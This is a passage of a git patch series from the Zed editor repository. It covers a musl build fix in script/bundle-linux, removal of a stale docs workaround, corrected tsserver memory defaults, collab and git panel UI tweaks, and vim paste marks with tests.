C compiler used glibc headers while linking against musl libc. Setting
CC_<target>=musl-gcc ensures C dependencies compile with musl headers.

I have tested the fix, and it seems to have fixed the compilation issue
I faced on Fedora 44, without resorting to the [hack noted in
docs](https://zed.dev/docs/development/linux#installing-a-development-build).
Initially reported in this
[issue](https://github.com/zed-industries/zed/issues/24880).

I'd want someone with expertise in the domain to take a look at this
fix, as from what I understand, the process in the doc is a hacky
workaround.

## Solution

Setting CC_<target>=musl-gcc ensures C dependencies compile with musl
headers.

## Testing

- Did you test these changes? If so, how?

    <details><summary>Here's my steps to repro:</summary>
1. install [toolbox](https://github.com/containers/toolbox) (or
podman-toolbox)
(I used toolbox as it's easy to reuse the cloned repo, as the whole home
dir is mounted in the devcontainer)
Used the main branch - commit 5d6c88cdb71168d31c35a1057702f2fa26d5494e
    2. toolbox create -d fedora -r 44
    3. toolbox enter fedora-toolbox-44
    4. then run the `scripts/linux` script to install prereqs
5. try compiling remote-server using the commands in
`scripts/install-linux` (I just ran the script wholly)

    LDD version:
    ```
    ⬢[root@toolbox zed]# ldd --version
    ldd (GNU libc) 2.43
    ```

    GCC/MUSL versions:
    ```
    musl-gcc  : 1.2.5
    gcc : 16.1.1
    ```

    Error:
    ```
    error: linking with `cc` failed: exit status: 1
      |
= note: "cc" "-m64"
"<sysroot>/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/rcrt1.o"
"<sysroot>/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crti.o"
"<sysroot>/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crtbeginS.o"
"<747 object files omitted>" "-Wl,--as-needed" "-Wl,-Bstatic"
"/root/zed/target/x86_64-unknown-linux-musl/release/deps/rustceHhjo8/{libzstd_sys-5c3eb6739555ecf4,libtree_sitter_json-ad90c8af7e8a3750,libtree_sitter-f91a92b688e12e56,libwasmtime-decd3377028506ce,libaws_lc_sys-a051f708b6dafc2a,libring-fcc1b43e3092bc93,libpsm-d967f50c6f2b67a4}.rlib"
"-lunwind" "-lc"
"<sysroot>/lib/rustlib/x86_64-unknown-linux-musl/lib/libcompiler_builtins-*.rlib"
"-L"
"/root/zed/target/x86_64-unknown-linux-musl/release/deps/rustceHhjo8/raw-dylibs"
"-Wl,-Bdynamic" "-Wl,--eh-frame-hdr" "-Wl,-z,noexecstack"
"-nostartfiles" "-L"
"/root/zed/target/x86_64-unknown-linux-musl/release/build/psm-dc603221f407eabc/out"
"-L"
"/root/zed/target/x86_64-unknown-linux-musl/release/build/tree-sitter-28f7b87c1db3fab9/out"
"-L"
"/root/zed/target/x86_64-unknown-linux-musl/release/build/wasmtime-f0bb0950e09a7352/out"
"-L"
"/root/zed/target/x86_64-unknown-linux-musl/release/build/aws-lc-sys-2a7ca8eafafe18fa/out"
"-L"
"/root/zed/target/x86_64-unknown-linux-musl/release/build/ring-d7857a166bac60a6/out"
"-L"
"/root/zed/target/x86_64-unknown-linux-musl/release/build/zstd-sys-0e04609af7157148/out"
"-L"
"/root/zed/target/x86_64-unknown-linux-musl/release/build/tree-sitter-json-b1e2eeaba7bbb519/out"
"-L"
"<sysroot>/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained"
"-L" "<sysroot>/lib/rustlib/x86_64-unknown-linux-musl/lib" "-o"
"/root/zed/target/x86_64-unknown-linux-musl/release/deps/remote_server-3782b255c59d4e14"
"-Wl,--gc-sections" "-static-pie" "-Wl,-z,relro,-z,now" "-Wl,-O1"
"-nodefaultlibs" "-Wl,--disable-new-dtags,-rpath,$ORIGIN/../lib"
"<sysroot>/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crtendS.o"
"<sysroot>/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crtn.o"
= note: some arguments are omitted. use `--verbose` to show all linker
arguments
= note: /usr/bin/ld.bfd:
/root/zed/target/x86_64-unknown-linux-musl/release/deps/rustceHhjo8/libaws_lc_sys-a051f708b6dafc2a.rlib(f8e4fd781484bd36-bcm.o):
in function `aws_lc_0_40_0_handle_cpu_env':

/aws-lc/crypto/fipsmodule/cpucap/cpu_intel.c:(.text.aws_lc_0_40_0_handle_cpu_env+0x63):
undefined reference to `__isoc23_sscanf'
/usr/bin/ld.bfd:
/root/zed/target/x86_64-unknown-linux-musl/release/deps/rustceHhjo8/libaws_lc_sys-a051f708b6dafc2a.rlib(f8e4fd781484bd36-bcm.o):
in function `pkey_rsa_ctrl_str':

/aws-lc/crypto/fipsmodule/evp/p_rsa.c:692:(.text.pkey_rsa_ctrl_str+0x222):
undefined reference to `__isoc23_strtol'
/usr/bin/ld.bfd:
/aws-lc/crypto/fipsmodule/evp/p_rsa.c:703:(.text.pkey_rsa_ctrl_str+0x261):
undefined reference to `__isoc23_strtol'
              collect2: error: ld returned 1 exit status

= note: some `extern` functions couldn't be found; some native libraries
may need to be installed or have their path specified
      = note: use the `-l` flag to specify native libraries to link
= note: use the `cargo:rustc-link-lib` directive to specify the native
libraries to link with Cargo (see
https://doc.rust-lang.org/cargo/reference/build-scripts.html#rustc-link-lib)

error: could not compile `remote_server` (bin "remote_server") due to 1
previous error
    ```
    </details>

- Are there any parts that need more testing?  -- Maybe
- How can other people (reviewers) test your changes? Is there anything
specific they need to know? -- Steps listed above
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test? -- Fedora 44

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- Fixed musl error when building remote server from source for the
default musl triple on Linux

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
---
 script/bundle-linux | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/script/bundle-linux b/script/bundle-linux
index b510365acb4b9f..0b1fabe9826342 100755
--- a/script/bundle-linux
+++ b/script/bundle-linux
@@ -88,6 +88,8 @@ cargo build --release --target "${target_triple}" --package zed --package cli
 # from influencing dynamic libraries required by it.
 if [[ "$remote_server_triple" == "$musl_triple" ]]; then
     export RUSTFLAGS="${RUSTFLAGS:-} -C target-feature=+crt-static"
+    musl_cc_var="CC_$(echo "$remote_server_triple" | tr '-' '_')"
+    export "$musl_cc_var"=musl-gcc
 fi
 cargo build --release --target "${remote_server_triple}" --package remote_server
 

From 962e3f3e4be79f4d40f4c08203ec9291b395d273 Mon Sep 17 00:00:00 2001
From: Nitin Krishna Mucheli <70827815+NewtonChutney@users.noreply.github.com>
Date: Wed, 22 Jul 2026 10:04:12 +0000
Subject: [PATCH 623/772] Remove stale musl linker error workaround from Linux
 dev docs (#61444)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- The Linux dev docs document a workaround for a musl/aws-lc-rs linker
error (`undefined reference to __isoc23_sscanf` / `__isoc23_strtol`)
that no longer applies now that the root cause is fixed.

## Solution

- #61203 fixed the underlying issue directly in `script/bundle-linux` by
setting `CC_<target>=musl-gcc` when building the musl `remote_server`
target, so the documented workaround
(`REMOTE_SERVER_TARGET=x86_64-unknown-linux-gnu`) is stale and
misleading. This PR removes it.

## Testing

- Did you test these changes? If so, how? — Confirmed the removed note
referenced the exact linker error fixed by #61203, and that no other
docs reference the removed workaround.
- Are there any parts that need more testing? — No, this is a docs-only
removal.
- How can other people (reviewers) test your changes? Is there anything
specific they need to know? — Review the diff; confirm
`script/install-linux` no longer hits this error after #61203.
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test? — N/A, docs-only change.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:
- N/A

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
---
 docs/src/development/linux.md | 25 -------------------------
 1 file changed, 25 deletions(-)

diff --git a/docs/src/development/linux.md b/docs/src/development/linux.md
index 77af9c8420ed63..b92246e4f9933b 100644
--- a/docs/src/development/linux.md
+++ b/docs/src/development/linux.md
@@ -53,31 +53,6 @@ You can install a local build on your machine with:
 
 This builds `zed` and the `cli` in release mode, installs the binary at `~/.local/bin/zed`, and installs `.desktop` files to `~/.local/share`.
 
-> **_Note_**: If you encounter linker errors similar to the following:
->
-> ```bash
-> error: linking with `cc` failed: exit status: 1 ...
-> = note: /usr/bin/ld: /tmp/rustcISMaod/libaws_lc_sys-79f08eb6d32e546e.rlib(f8e4fd781484bd36-bcm.o): in function `aws_lc_0_25_0_handle_cpu_env':
->           /aws-lc/crypto/fipsmodule/cpucap/cpu_intel.c:(.text.aws_lc_0_25_0_handle_cpu_env+0x63): undefined reference to `__isoc23_sscanf'
->           /usr/bin/ld: /tmp/rustcISMaod/libaws_lc_sys-79f08eb6d32e546e.rlib(f8e4fd781484bd36-bcm.o): in function `pkey_rsa_ctrl_str':
->           /aws-lc/crypto/fipsmodule/evp/p_rsa.c:741:(.text.pkey_rsa_ctrl_str+0x20d): undefined reference to `__isoc23_strtol'
->           /usr/bin/ld: /aws-lc/crypto/fipsmodule/evp/p_rsa.c:752:(.text.pkey_rsa_ctrl_str+0x258): undefined reference to `__isoc23_strtol'
->           collect2: error: ld returned 1 exit status
->   = note: some `extern` functions couldn't be found; some native libraries may need to be installed or have their path specified
->   = note: use the `-l` flag to specify native libraries to link
->   = note: use the `cargo:rustc-link-lib` directive to specify the native libraries to link with Cargo (see https://doc.rust-lang.org/cargo/reference/build-scripts.html#rustc-link-lib)
-> error: could not compile `remote_server` (bin "remote_server") due to 1 previous error
-> ```
->
-> **Cause**:
-> This is caused by known bugs in aws-lc-rs (no GCC >= 14 support): [FIPS fails to build with GCC >= 14](https://github.com/aws/aws-lc-rs/issues/569)
-> & [GCC-14 - build failure for FIPS module](https://github.com/aws/aws-lc/issues/2010)
->
-> You can refer to [linux: Linker error for remote_server when using script/install-linux](https://github.com/zed-industries/zed/issues/24880) for more information.
->
-> **Workaround**:
-> Set the remote server target to `x86_64-unknown-linux-gnu` like so `export REMOTE_SERVER_TARGET=x86_64-unknown-linux-gnu; script/install-linux`
-
 ## Wayland & X11
 
 Zed supports both X11 and Wayland. By default, we pick whichever we can find at runtime. If you're on Wayland and want to run in X11 mode, use the environment variable `WAYLAND_DISPLAY=''`.

From bb87c47c92d0110790ee79a0fdf4a9c8b7119fb3 Mon Sep 17 00:00:00 2001
From: Jiaxiang Zhang <141689453+NuclEnergy@users.noreply.github.com>
Date: Wed, 22 Jul 2026 10:20:23 +0000
Subject: [PATCH 624/772] Set the default value of tsserver to 8 GiB instead of
 7.9 GiB (#61406)

Correct memory values: 8 GiB limit (8192) and tsserver max memory set to
16384 for TypeScript and JavaScript examples.

# Objective

- Standardized memory values.

## Testing

- This commit not be tested.

## Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [X] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 crates/languages/src/vtsls.rs    | 2 +-
 docs/src/languages/typescript.md | 6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/crates/languages/src/vtsls.rs b/crates/languages/src/vtsls.rs
index 5be98804d696a7..806ce7ff11d817 100644
--- a/crates/languages/src/vtsls.rs
+++ b/crates/languages/src/vtsls.rs
@@ -281,7 +281,7 @@ impl LspAdapter for VtslsLspAdapter {
                 "showOnAllFunctions": true
             },
             "tsserver": {
-                "maxTsServerMemory": 8092
+                "maxTsServerMemory": 8192
             },
         });
 
diff --git a/docs/src/languages/typescript.md b/docs/src/languages/typescript.md
index d67c65c248b1c0..108e6e34d47a7a 100644
--- a/docs/src/languages/typescript.md
+++ b/docs/src/languages/typescript.md
@@ -80,7 +80,7 @@ To get all the features (autocomplete, linting, etc.) from the [Tailwind CSS lan
 
 ## Large projects
 
-`vtsls` may run out of memory on very large projects. We default the limit to 8092 (8 GiB) vs. the default of 3072 but this may not be sufficient for you:
+`vtsls` may run out of memory on very large projects. We default the limit to 8192 (8 GiB) vs. the default of 3072 but this may not be sufficient for you:
 
 ```json [settings]
 {
@@ -88,9 +88,9 @@ To get all the features (autocomplete, linting, etc.) from the [Tailwind CSS lan
     "vtsls": {
       "settings": {
         // For TypeScript:
-        "typescript": { "tsserver": { "maxTsServerMemory": 16184 } },
+        "typescript": { "tsserver": { "maxTsServerMemory": 16384 } },
         // For JavaScript:
-        "javascript": { "tsserver": { "maxTsServerMemory": 16184 } }
+        "javascript": { "tsserver": { "maxTsServerMemory": 16384 } }
       }
     }
   }

From 3a44d0f01033ea477341632610d89f5d2a0522e8 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Wed, 22 Jul 2026 11:23:30 +0000
Subject: [PATCH 625/772] collab_panel: Adjust pressed state of the channel
 item (#61453)

Yet another follow up to
https://github.com/zed-industries/zed/pull/61423 simplifying the design
even further.

Release Notes:

- N/A
---
 crates/collab_ui/src/collab_panel.rs | 32 ++++------------------------
 1 file changed, 4 insertions(+), 28 deletions(-)

diff --git a/crates/collab_ui/src/collab_panel.rs b/crates/collab_ui/src/collab_panel.rs
index cac43913a1e67d..77744c6eae1376 100644
--- a/crates/collab_ui/src/collab_panel.rs
+++ b/crates/collab_ui/src/collab_panel.rs
@@ -280,7 +280,6 @@ pub struct CollabPanel {
     filter_occupied_channels: bool,
     workspace: WeakEntity<Workspace>,
     hovered_channel: Option<(ChannelId, bool)>,
-    pressed_channel: Option<(ChannelId, bool)>,
     notification_store: Entity<NotificationStore>,
     current_notification_toast: Option<(u64, Task<()>)>,
     mark_as_read_tasks: HashMap<u64, Task<anyhow::Result<()>>>,
@@ -400,7 +399,6 @@ impl CollabPanel {
                 focus_handle: cx.focus_handle(),
                 channel_clipboard: None,
                 hovered_channel: None,
-                pressed_channel: None,
                 fs: workspace.app_state().fs.clone(),
                 pending_panel_serialization: Task::ready(None),
                 pending_favorites_serialization: Task::ready(None),
@@ -3448,8 +3446,6 @@ impl CollabPanel {
 
         let panel_bg = cx.theme().colors().panel_background;
         let hover_bg = panel_bg.blend(cx.theme().colors().ghost_element_hover);
-        let active_bg = panel_bg.blend(cx.theme().colors().ghost_element_active);
-        let is_pressed = self.pressed_channel == Some((channel_id, is_favorite_entry));
 
         h_flex()
             .id(ix)
@@ -3466,29 +3462,6 @@ impl CollabPanel {
                     cx.notify();
                 }
             }))
-            .on_mouse_down(
-                MouseButton::Left,
-                cx.listener(move |this, _, _, cx| {
-                    this.pressed_channel = Some((channel_id, is_favorite_entry));
-                    cx.notify();
-                }),
-            )
-            .on_mouse_up(
-                MouseButton::Left,
-                cx.listener(move |this, _, _, cx| {
-                    if this.pressed_channel.take().is_some() {
-                        cx.notify();
-                    }
-                }),
-            )
-            .on_mouse_up_out(
-                MouseButton::Left,
-                cx.listener(move |this, _, _, cx| {
-                    if this.pressed_channel.take().is_some() {
-                        cx.notify();
-                    }
-                }),
-            )
             .when(!channel.is_root_channel(), |el| {
                 el.on_drag(channel.clone(), move |channel, _, _, cx| {
                     cx.new(|_| DraggedChannelView {
@@ -3581,10 +3554,12 @@ impl CollabPanel {
                     .pl_1()
                     .pr_2()
                     .gap_px()
-                    .bg(if is_pressed { active_bg } else { hover_bg })
+                    .bg(hover_bg)
+                    .rounded_l_md()
                     .child({
                         let focus_handle = self.focus_handle.clone();
                         IconButton::new("channel_favorite", favorite_icon)
+                            .layer(ui::ElevationIndex::ModalSurface)
                             .icon_size(IconSize::Small)
                             .icon_color(favorite_color)
                             .on_click(cx.listener(move |this, _, _window, cx| {
@@ -3602,6 +3577,7 @@ impl CollabPanel {
                     .child({
                         let focus_handle = self.focus_handle.clone();
                         IconButton::new("channel_notes", IconName::Reader)
+                            .layer(ui::ElevationIndex::ModalSurface)
                             .icon_size(IconSize::Small)
                             .on_click(cx.listener(move |this, _, window, cx| {
                                 this.open_channel_notes(channel_id, window, cx)

From c98f1cbe1abf3ffbdd1c32dfa4f1b2d03fd358b8 Mon Sep 17 00:00:00 2001
From: Xiaobo Liu <cppcoffee@gmail.com>
Date: Wed, 22 Jul 2026 11:37:17 +0000
Subject: [PATCH 626/772] vim: Set `[` and `]` marks to paste destination
 (#56593)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Previously, the `[` and `]` marks always pointed to the yank source
location. After a paste operation, they now correctly point to the start
and end of the pasted text in the destination buffer.

This enables workflows like `v]` to select just-pasted text, and fixes
the `gp` keymap pattern shown in the issue.


Closes https://github.com/zed-industries/zed/issues/56404

Release Notes:

- vim: Made `[` and `]` marks point to the start and end of pasted text
after a paste operation.

---------

Signed-off-by: Xiaobo Liu <cppcoffee@gmail.com>
Co-authored-by: Tom Houlé <tom@tomhoule.com>
---
 crates/vim/src/normal/paste.rs | 190 ++++++++++++++++++++++++++++++++-
 1 file changed, 188 insertions(+), 2 deletions(-)

diff --git a/crates/vim/src/normal/paste.rs b/crates/vim/src/normal/paste.rs
index f3df2ce1c07d94..610c5eb35858a3 100644
--- a/crates/vim/src/normal/paste.rs
+++ b/crates/vim/src/normal/paste.rs
@@ -1,6 +1,6 @@
 use editor::{
-    DisplayPoint, MultiBufferOffset, RowExt, SelectionEffects, display_map::ToDisplayPoint,
-    movement,
+    DisplayPoint, MultiBufferOffset, RowExt, SelectionEffects, ToOffset,
+    display_map::ToDisplayPoint, movement,
 };
 use gpui::{Action, Context, Window};
 use language::{Bias, SelectionGoal};
@@ -8,6 +8,7 @@ use schemars::JsonSchema;
 use serde::Deserialize;
 use settings::Settings;
 use std::cmp;
+use text::LineEnding;
 use vim_mode_setting::HelixModeSetting;
 
 use crate::{
@@ -36,6 +37,10 @@ impl Vim {
         Vim::take_forced_motion(cx);
 
         self.update_editor(cx, |vim, editor, cx| {
+            if editor.read_only(cx) {
+                return;
+            }
+
             let text_layout_details = editor.text_layout_details(window, cx);
             editor.transact(window, cx, |editor, window, cx| {
                 editor.set_clip_at_line_ends(false, cx);
@@ -104,6 +109,7 @@ impl Vim {
                 let mut new_selections = Vec::new();
                 let mut original_indent_columns = Vec::new();
                 let mut start_offset = 0;
+                let mut mark_start_adjustments = Vec::new();
 
                 for (ix, (selection, preserve)) in selections_to_process.iter().enumerate() {
                     let (mut to_insert, original_indent_column) =
@@ -123,6 +129,7 @@ impl Vim {
                         } else {
                             (text.to_string(), first_selection_indent_column)
                         };
+                    LineEnding::normalize(&mut to_insert);
                     let line_mode = to_insert.ends_with('\n');
                     let is_multiline = to_insert.contains('\n');
 
@@ -130,11 +137,16 @@ impl Vim {
                         if selection.is_empty() {
                             to_insert =
                                 "\n".to_owned() + &to_insert[..to_insert.len() - "\n".len()];
+                            mark_start_adjustments.push(1usize);
                         } else {
                             to_insert = "\n".to_owned() + &to_insert;
+                            mark_start_adjustments.push(1usize);
                         }
                     } else if line_mode && vim.mode == Mode::VisualLine {
                         to_insert.pop();
+                        mark_start_adjustments.push(0usize);
+                    } else {
+                        mark_start_adjustments.push(0usize);
                     }
 
                     let display_range = if !selection.is_empty() {
@@ -185,6 +197,24 @@ impl Vim {
                     original_indent_columns.push(original_indent_column);
                 }
 
+                // Record anchors before applying edits to track pasted text start.
+                // anchor_before(start) stays before inserted text (for `[` mark).
+                let buffer_snapshot = editor.buffer().read(cx).snapshot(cx);
+                let mark_start_anchors: Vec<_> = edits
+                    .iter()
+                    .map(|(range, _)| buffer_snapshot.anchor_before(range.start))
+                    .collect();
+                let paste_text_last_character_offsets: Vec<_> = edits
+                    .iter()
+                    .map(|(_, text)| {
+                        text.strip_suffix('\n')
+                            .unwrap_or(text.as_str())
+                            .char_indices()
+                            .next_back()
+                            .map_or(0, |(offset, _)| offset)
+                    })
+                    .collect();
+
                 let cursor_offset = editor
                     .selections
                     .last::<MultiBufferOffset>(&display_map)
@@ -201,6 +231,28 @@ impl Vim {
                     editor.edit(edits, cx);
                 }
 
+                // Set `[` and `]` marks to the pasted text range.
+                let buffer_snapshot = editor.buffer().read(cx).snapshot(cx);
+                let start_anchors: Vec<_> = mark_start_anchors
+                    .iter()
+                    .zip(mark_start_adjustments.iter())
+                    .map(|(anchor, &adj)| {
+                        let offset = anchor.to_offset(&buffer_snapshot) + adj;
+                        buffer_snapshot.anchor_before(offset)
+                    })
+                    .collect();
+                let end_anchors: Vec<_> = mark_start_anchors
+                    .iter()
+                    .zip(paste_text_last_character_offsets.iter())
+                    .map(|(anchor, &last_character_offset)| {
+                        let start = anchor.to_offset(&buffer_snapshot);
+                        let end = start + last_character_offset;
+                        buffer_snapshot.anchor_after(end)
+                    })
+                    .collect();
+                vim.set_mark("[".to_string(), start_anchors, editor.buffer(), window, cx);
+                vim.set_mark("]".to_string(), end_anchors, editor.buffer(), window, cx);
+
                 // in line_mode vim will insert the new text on the next (or previous if before) line
                 // and put the cursor on the first non-blank character of the first inserted line (or at the end if the first line is blank).
                 // otherwise vim will insert the next text at (or before) the current cursor position,
@@ -1182,4 +1234,138 @@ mod test {
             Mode::Normal,
         );
     }
+
+    #[gpui::test]
+    async fn test_paste_marks(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+
+        // Yank a word, paste it elsewhere, then verify `[ and `] point to pasted text.
+        cx.set_state(
+            indoc! {"
+                ˇhello world
+                foo bar"},
+            Mode::Normal,
+        );
+        cx.simulate_keystrokes("y i w");
+        cx.simulate_keystrokes("j w");
+        cx.simulate_keystrokes("p");
+        cx.assert_state(
+            indoc! {"
+                hello world
+                foo bhellˇoar"},
+            Mode::Normal,
+        );
+        // `[ should go to start of pasted text
+        cx.simulate_keystrokes("` [");
+        cx.assert_state(
+            indoc! {"
+                hello world
+                foo bˇhelloar"},
+            Mode::Normal,
+        );
+        // `] should go to end of pasted text
+        cx.simulate_keystrokes("` ]");
+        cx.assert_state(
+            indoc! {"
+                hello world
+                foo bhellˇoar"},
+            Mode::Normal,
+        );
+
+        // Line-mode paste: yank a line, paste below, verify marks.
+        cx.set_state(
+            indoc! {"
+                ˇfirst line
+                second line
+                third line"},
+            Mode::Normal,
+        );
+        cx.simulate_keystrokes("y y j p");
+        cx.assert_state(
+            indoc! {"
+                first line
+                second line
+                ˇfirst line
+                third line"},
+            Mode::Normal,
+        );
+        cx.simulate_keystrokes("` [");
+        cx.assert_state(
+            indoc! {"
+                first line
+                second line
+                ˇfirst line
+                third line"},
+            Mode::Normal,
+        );
+        cx.simulate_keystrokes("` ]");
+        cx.assert_state(
+            indoc! {"
+                first line
+                second line
+                first linˇe
+                third line"},
+            Mode::Normal,
+        );
+    }
+
+    #[gpui::test]
+    async fn test_paste_marks_unicode(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.set_state("ˇxy", Mode::Normal);
+        cx.write_to_clipboard(ClipboardItem::new_string("é".to_string()));
+
+        cx.simulate_keystrokes("p");
+        cx.simulate_keystrokes("` ]");
+
+        cx.assert_state("xˇéy", Mode::Normal);
+    }
+
+    #[gpui::test]
+    async fn test_paste_marks_normalize_line_endings(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.set_state("ˇxy", Mode::Normal);
+        cx.write_to_clipboard(ClipboardItem::new_string("a\r\nb".to_string()));
+
+        cx.simulate_keystrokes("p");
+        cx.simulate_keystrokes("` ]");
+
+        cx.assert_state("xa\nˇby", Mode::Normal);
+    }
+
+    #[gpui::test]
+    async fn test_paste_marks_read_only(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.set_state("ˇx", Mode::Normal);
+        cx.write_to_clipboard(ClipboardItem::new_string("long text".to_string()));
+        cx.update_editor(|editor, _window, _cx| editor.set_read_only(true));
+
+        cx.simulate_keystrokes("p");
+
+        cx.assert_state("ˇx", Mode::Normal);
+    }
+
+    #[gpui::test]
+    async fn test_paste_marks_linewise_before(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.set_state(
+            indoc! {"
+                ˇfirst line
+                second line
+                third line"},
+            Mode::Normal,
+        );
+
+        cx.simulate_keystrokes("y y j shift-p");
+        cx.simulate_keystrokes("` [ v ` ]");
+
+        cx.assert_state(
+            indoc! {"
+                first line
+                «first lineˇ»
+                second line
+                third line"},
+            Mode::Visual,
+        );
+    }
 }

From 0c78ce00013e6226e01623e8eec1bde32aa0d34f Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Wed, 22 Jul 2026 11:55:43 +0000
Subject: [PATCH 627/772] git_panel: Adjust commit items in the history tab
 (#61456)

This PR is super small mostly adjusting a few things in the commit item
within the history tab: author label truncation, tooltip
label/description, and unpushed arrow icon design.

Release Notes:

- N/A
---
 crates/git_ui/src/commit_context_menu.rs |  2 +-
 crates/git_ui/src/git_panel.rs           | 52 ++++++++++++++++++++----
 2 files changed, 45 insertions(+), 9 deletions(-)

diff --git a/crates/git_ui/src/commit_context_menu.rs b/crates/git_ui/src/commit_context_menu.rs
index e3affe8732e827..d7c8142a35e0dc 100644
--- a/crates/git_ui/src/commit_context_menu.rs
+++ b/crates/git_ui/src/commit_context_menu.rs
@@ -59,7 +59,7 @@ pub(crate) fn commit_context_menu(
         context_menu
             .context(focus_handle)
             .header(header)
-            .entry("View Commit", Some(OpenCommitView.boxed_clone()), {
+            .entry("View Diff", Some(OpenCommitView.boxed_clone()), {
                 let repository = repository.clone();
                 let workspace = workspace.clone();
                 move |window, cx| {
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index c84c8c3cb92d55..7db0387339168f 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -6510,6 +6510,7 @@ impl GitPanel {
                                             .size(LabelSize::Small)
                                             .color(Color::Muted)
                                             .alpha(0.5)
+                                            .flex_none()
                                     };
 
                                     v_flex()
@@ -6574,6 +6575,12 @@ impl GitPanel {
                                                                 Chip::new(format!(
                                                                     "+{hidden_tag_count}"
                                                                 ))
+                                                                .bg_color(
+                                                                    cx.theme()
+                                                                        .colors()
+                                                                        .element_active
+                                                                        .opacity(0.8),
+                                                                )
                                                                 .when(!has_context_menu, |chip| {
                                                                     chip.tooltip(Tooltip::text(
                                                                         hidden_tag_names,
@@ -6584,20 +6591,38 @@ impl GitPanel {
                                                 }))
                                                 .when(is_unpushed, |this| {
                                                     this.child(
-                                                        Icon::new(IconName::ArrowUp)
-                                                            .size(IconSize::XSmall),
+                                                        h_flex()
+                                                            .size_4()
+                                                            .flex_none()
+                                                            .justify_center()
+                                                            .rounded_sm()
+                                                            .border_1()
+                                                            .border_color(
+                                                                cx.theme().colors().border,
+                                                            )
+                                                            .bg(cx
+                                                                .theme()
+                                                                .colors()
+                                                                .element_background)
+                                                            .child(
+                                                                Icon::new(IconName::ArrowUp)
+                                                                    .size(IconSize::XSmall),
+                                                            ),
                                                     )
                                                 }),
                                         )
                                         .child(
                                             h_flex()
+                                                .w_full()
+                                                .min_w_0()
                                                 .gap_1p5()
-                                                .child(avatar)
+                                                .child(div().flex_none().child(avatar))
                                                 .when(!author_name.is_empty(), |this| {
                                                     this.child(
                                                         Label::new(author_name)
                                                             .size(LabelSize::Small)
-                                                            .color(Color::Muted),
+                                                            .color(Color::Muted)
+                                                            .truncate(),
                                                     )
                                                     .child(dot_separator())
                                                 })
@@ -6605,22 +6630,33 @@ impl GitPanel {
                                                     this.child(
                                                         Label::new(relative_time)
                                                             .size(LabelSize::Small)
-                                                            .color(Color::Muted),
+                                                            .color(Color::Muted)
+                                                            .flex_none(),
                                                     )
                                                     .child(dot_separator())
                                                 })
                                                 .child(
                                                     Label::new(short_sha.clone())
                                                         .size(LabelSize::Small)
-                                                        .color(Color::Muted),
+                                                        .color(Color::Muted)
+                                                        .flex_none(),
                                                 ),
                                         )
                                         .when(!has_context_menu, |this| {
                                             this.tooltip(move |_, cx| {
+                                                let description = if is_unpushed {
+                                                    SharedString::from(format!(
+                                                        "Contains Unpushed Changes — {}",
+                                                        short_sha.clone(),
+                                                    ))
+                                                } else {
+                                                    short_sha.clone()
+                                                };
+
                                                 Tooltip::with_meta(
-                                                    "View Commit",
+                                                    "View Commit Diff",
                                                     None,
-                                                    short_sha.clone(),
+                                                    description,
                                                     cx,
                                                 )
                                             })

From 775e51f95cdfa336c88145ef2a4c1182a1de70a4 Mon Sep 17 00:00:00 2001
From: Om Chillure <omchillure4@gmail.com>
Date: Wed, 22 Jul 2026 12:01:29 +0000
Subject: [PATCH 628/772] Support loading Git commit templates when remote
 (#55490)
MIME-Version: 1.0
